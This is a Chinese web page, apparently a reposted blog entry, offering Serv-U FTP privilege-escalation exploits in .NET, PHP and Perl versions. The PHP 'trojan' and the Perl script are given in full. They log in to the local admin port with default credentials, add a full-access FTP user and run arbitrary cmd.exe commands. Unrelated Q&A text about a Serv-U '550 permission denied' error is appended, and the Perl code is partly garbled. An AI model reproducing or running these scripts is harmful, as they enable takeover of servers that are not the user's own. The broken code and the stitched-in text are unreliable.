php serv u提权脚本,.NET/Perl/PHP 三个版本的 ServU提权程序 -电脑资料

1..NET版本Serv-U提权程序

from Serv-U 2

admin by lake2

Name

LocalAdministrator

PWD

#l@$ak#.lk;0@P

Port

43958

cmd

2.PHP版sevru提权木马

/**

注释免杀版本

**/

//

//Codez begin

//

//判断magic_quotes_gpc的值

if (get_magic_quotes_gpc()) {

$_GET = stripslashes_array($_GET);

}

//变量初始化

$addr = '0.0.0.0';

$ftpport = 21;

$adminport = 43958;

$adminuser = 'LocalAdministrator';

$adminpass = '#l@$ak#.lk;0@P';

$user = 'wofeiwo';

$password = 'wrsky';

$homedir = 'C:\\';

$dir = 'C:\\WINNT\\System32\\';

//有改变则赋值

if ($_GET){

$addr = $_GET['addr'] ;

$ftpport = $_GET['ftpport'] ;

$adminport = $_GET['adminport'] ;

$adminuser = $_GET['adminuser'] ;

$adminpass = $_GET['adminpass'] ;

$user = $_GET['user'] ;

$password = $_GET['password'] ;

$homedir = $_GET['homedir'] ;

if ($_GET['dir']){

$dir = $_GET['dir'] ;

}

}

?>

-==-

Serv-U All Version本地提升权限Exp10it Ver 1.5

添加Serv-U用户部分

主机IP:

主机Ftp端口:

主机Ftp管理端口:

主机Ftp管理用户:

主机Ftp管理密码:

添加的用户名:

添加的用户名密码:

用户主目录(别忘了写"\"):

命令回显:

//添加用户

if ($_GET['action']=="up"){

up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir);

}

?>

执行命令部分

主机Ftp端口:

用户名:

用户名密码:

系统路径(别忘了写"\"):

执行的命令:

命令回显:

//执行命令

if ($_GET['action']=="execute"){

ftpcmd($ftpport,$user,$password,$dir,$_GET['cmd']);

}

?>

Copycenter (C) 2004 我非我 All centers Reserved.

//添加用户主函数定义

function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){

$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);

if (!$fp) {

echo "$errstr ($errno)

\n";

} else {

fputs ($fp, "USER ".$adminuser."\r\n");

sleep (1);

fputs ($fp, "PASS ".$adminpass."\r\n");

sleep (1);

fputs ($fp, "SITE MAINTENANCE\r\n");

sleep (1);

fputs ($fp, "-SETUSERSETUP\r\n");

fputs ($fp, "-IP=".$addr."\r\n");

fputs ($fp, "-PortNo=".$ftpport."\r\n");

fputs ($fp, "-User=".$user."\r\n");

fputs ($fp, "-Password=".$password."\r\n");

fputs ($fp, "-HomeDir=".$homedir."\r\n");

fputs ($fp, "-LoginMesFile=\r\n");

fputs ($fp, "-Disable=0\r\n");

fputs ($fp, "-RelPaths=0\r\n");

fputs ($fp, "-NeedSecure=0\r\n");

fputs ($fp, "-HideHidden=0\r\n");

fputs ($fp, "-AlwaysAllowLogin=0\r\n");

fputs ($fp, "-ChangePassword=1\r\n");

fputs ($fp, "-QuotaEnable=0\r\n");

fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");

fputs ($fp, "-SpeedLimitUp=-1\r\n");

fputs ($fp, "-SpeedLimitDown=-1\r\n");

fputs ($fp, "-MaxNrUsers=-1\r\n");

fputs ($fp, "-IdleTimeOut=600\r\n");

fputs ($fp, "-SessionTimeOut=-1\r\n");

fputs ($fp, "-Expire=0\r\n");

fputs ($fp, "-RatioUp=1\r\n");

fputs ($fp, "-RatioDown=1\r\n");

fputs ($fp, "-RatiosCredit=0\r\n");

fputs ($fp, "-QuotaCurrent=0\r\n");

fputs ($fp, "-QuotaMaximum=0\r\n");

fputs ($fp, "-Maintenance=System\r\n");

fputs ($fp, "-PasswordType=Regular\r\n");

fputs ($fp, "-Ratios=None\r\n");

fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");

fputs ($fp, "QUIT\r\n");

sleep (1);

while (!feof($fp)) {

echo fgets ($fp,128);

}

}

}

//执行命令主函数定义

function ftpcmd($ftpport,$user,$password,$dir,$cmd){

$conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8);

if (!$conn_id) {

echo "$errstr ($errno)

\n";

} else {

fputs ($conn_id, "USER ".$user."\r\n");

sleep (1);

fputs ($conn_id, "PASS ".$password."\r\n");

sleep (1);

fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."\r\n");

fputs ($conn_id, "QUIT\r\n");

sleep (1);

while (!feof($conn_id)) {

echo fgets ($conn_id,128);

}

fclose($conn_id);

}

}

//去除转义字符

function stripslashes_array(&$array) {

while (list($key,$var) = each($array)) {

if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {

if (is_string($var)) {

$array[$key] = stripslashes($var);

}

if (is_array($var)) {

$array[$key] = stripslashes_array($var);

}

}

}

return $array;

}

?>

3.Perl版本的serv-U提权程序

#!/usr/bin/perl

use I:Socket;

binmode(STDOUT);

syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

$addr = "127.0.0.1";

$ftpport = 21;

$adminport = 43958;

$adminuser = "LocalAdministrator";

$adminpass = '#l@$ak#.lk;0@P';

$user = "Andyower";

$password = "haika";

$homedir = 'C:\\';

$dir = 'C:\\WINNT\\System32\\';

use I:Socket::INET;

$sock = I:Socket::INET->new("127.0.0.1:$adminport") || die "fail";

print "Andyower制作

";

print $sock "USER $adminuser\r\n";

sleep (1);

print $sock "PASS $adminpass\r\n";

sleep(1);

print $sock "SITE MAINTENANCE\r\n";

sleep(1);

print $sock "-SETUSERSETUP\r\n";

print $sock "-IP=".$addr."\r\n";

print $sock "-PortNo=".$ftpport."\r\n";

print $sock "-User=".$user."\r\n";

print $sock "-Password=".$password."\r\n";

print $sock "-HomeDir=".$homedir."\r\n";

print $sock "-LoginMesFile=\r\n";

print $sock "-Disable=0\r\n";

print $sock "-RelPaths=0\r\n";

print $sock "-NeedSecure=0\r\n";

print $sock "-HideHidden=0\r\n";

print $sock "-AlwaysAllowLogin=0\r\n";

print $sock "-ChangePassword=1\r\n";

print $sock "-QuotaEnable=0\r\n";

print $sock "-MaxUsersLoginPerIP=-1\r\n";

print $sock "-SpeedLimitUp=-1\r\n";

print $sock "-SpeedLimitDown=-1\r\n";

print $sock "-MaxNrUsers=-1\r\n";

print $sock "-IdleTimeOut=600\r\n";

print $sock "-SessionTimeOut=-1\r\n";

print $sock "-Expire=0\r\n";

print $sock "-RatioUp=1\r\n";

print $sock "-RatioDown=1\r\n";

print $sock "-RatiosCredit=0\r\n";

print $sock "-QuotaCurrent=0\r\n";

print $sock "-QuotaMaximum=0\r\n";

print $sock "-Maintenance=System\r\n";

print $sock "-PasswordType=Regular\r\n";

print $sock "-Ratios=None\r\n";

print $sock " Access=".$homedir."|RWAMELCDP\r\n";

print $sock "QUIT\r\n";

@ret=;

print "@ret";

close(STDERR);

close(STDOUT);

exit;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Serv-U 是一个用于文件传输的服务器软件,当你在使用 Serv-U 进行文件操作时,可能会碰到错误信息 "550 /: permission denied"。这个错误提示意味着你没有足够的权限来执行该操作。 通常情况下,这个错误可能有以下几种可能原因: 1. 用户权限不足:如果你是通过一个普通用户登录 Serv-U,并且没有足够权限执行该操作,就会出现这个错误。你需要联系管理员来获取更高的权限或者让管理员帮助你执行该操作。 2. 目标文件/文件夹权限设置不正确:如果你尝试访问的文件或文件夹的权限设置不允许你执行该操作,就会出现这个错误。你需要联系管理员修改权限设置,以便你能够执行该操作。 3. 文件/文件夹不存在:如果你尝试访问的文件或文件夹不存在,就会出现这个错误。你可以再次确认一下路径是否输入正确,或者联系管理员确认文件是否存在。 如果你是 Serv-U 的管理员,你可以通过以下方式解决这个问题: 1. 检查用户权限:确保用户的权限设置正确,并且具备执行该操作所需的权限。 2. 检查文件/文件夹权限:检查目标文件或文件夹的权限设置,确保允许用户执行该操作。 3. 检查文件/文件夹是否存在:确认所要访问的文件或文件夹确实存在,如果不存在,你可以创建或者复制文件到正确的位置。 总之,以上是关于 Serv-U 出现 "550 /: permission denied" 错误的一般原因和解决方案。具体的解决方法还需要根据具体情况进行调整和操作。 ### 回答2: serv-u是一个常见的FTP服务器软件,当出现"550 /: permission denied"错误提示时,表示该软件无权访问指定的根目录。 Permission denied一般是由于文件或文件夹的访问权限设置不正确所导致的。首先,可以检查一下根目录的访问权限,确保serv-u有对其进行读写的权限。如果权限设置正确,可能是由于用户在FTP客户端中选择了无权限的文件或目录,也会导致该错误。 解决方法有以下几种: 1. 确保根目录的权限正确设置,serv-u用户具有读写权限。 2. 检查FTP客户端是否选择了无权限的目录或文件,尝试更改目录或文件的权限,或选择有权限的文件进行操作。 3. 确保serv-u的配置文件正确,检查根目录的设置是否正确,可以尝试将根目录更改为其他目录,然后重新启动服务。 总之,serv-u 550 /: permission denied错误提示表示FTP服务器软件无权访问指定的根目录,可能是由于权限设置不正确或者FTP客户端选择了无权限的文件或目录所致。需要检查根目录权限设置、更改有权限的文件或目录、检查serv-u配置文件等方法来解决问题。 ### 回答3: "serv-u 550 /: permission denied"是一个错误消息,指的是该用户在Serv-U FTP服务器上发生了权限被拒绝的情况。 这种错误可能是由于以下原因导致的: 1. 权限配置不正确:用户试图访问一个没有权限访问的目录或文件。在Serv-U中,管理员可以为每个用户设置不同的权限级别,包括读取、写入和删除文件的权限。如果权限配置不正确,用户将无法执行特定操作。 2. 文件或目录权限设置:被请求访问的文件或目录的权限可能不允许该用户进行某些操作(例如,写入或删除文件)。管理员可以通过设置文件或目录的权限来控制用户在Serv-U中的操作。 3. 磁盘空间限制:用户可能尝试在磁盘空间已满或受限的情况下添加、修改或删除文件。管理员可以为每个用户设置磁盘配额,以控制他们可以使用的磁盘空间量。 解决这个错误消息的方法包括: 1. 检查权限配置:管理员应该验证用户的权限配置,确保所请求的操作在其权限范围内。如果需要,可以修改权限配置来满足用户的需求。 2. 检查文件或目录权限:管理员应该检查目标文件或目录的权限设置,确保用户有适当的权限进行所需的操作。 3. 检查磁盘空间限制:如果服务器上的磁盘空间限制已被启用,管理员应该验证用户的磁盘配额,并确保配额足够满足用户的需要。 总结起来,"serv-u 550 /: permission denied"是一个权限被拒绝的错误消息,可以通过检查权限配置、文件或目录权限设置以及磁盘空间限制来解决。管理员应该对这些方面进行审查和调整,以便用户能够正常访问和操作他们在Serv-U FTP服务器上的文件和目录。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值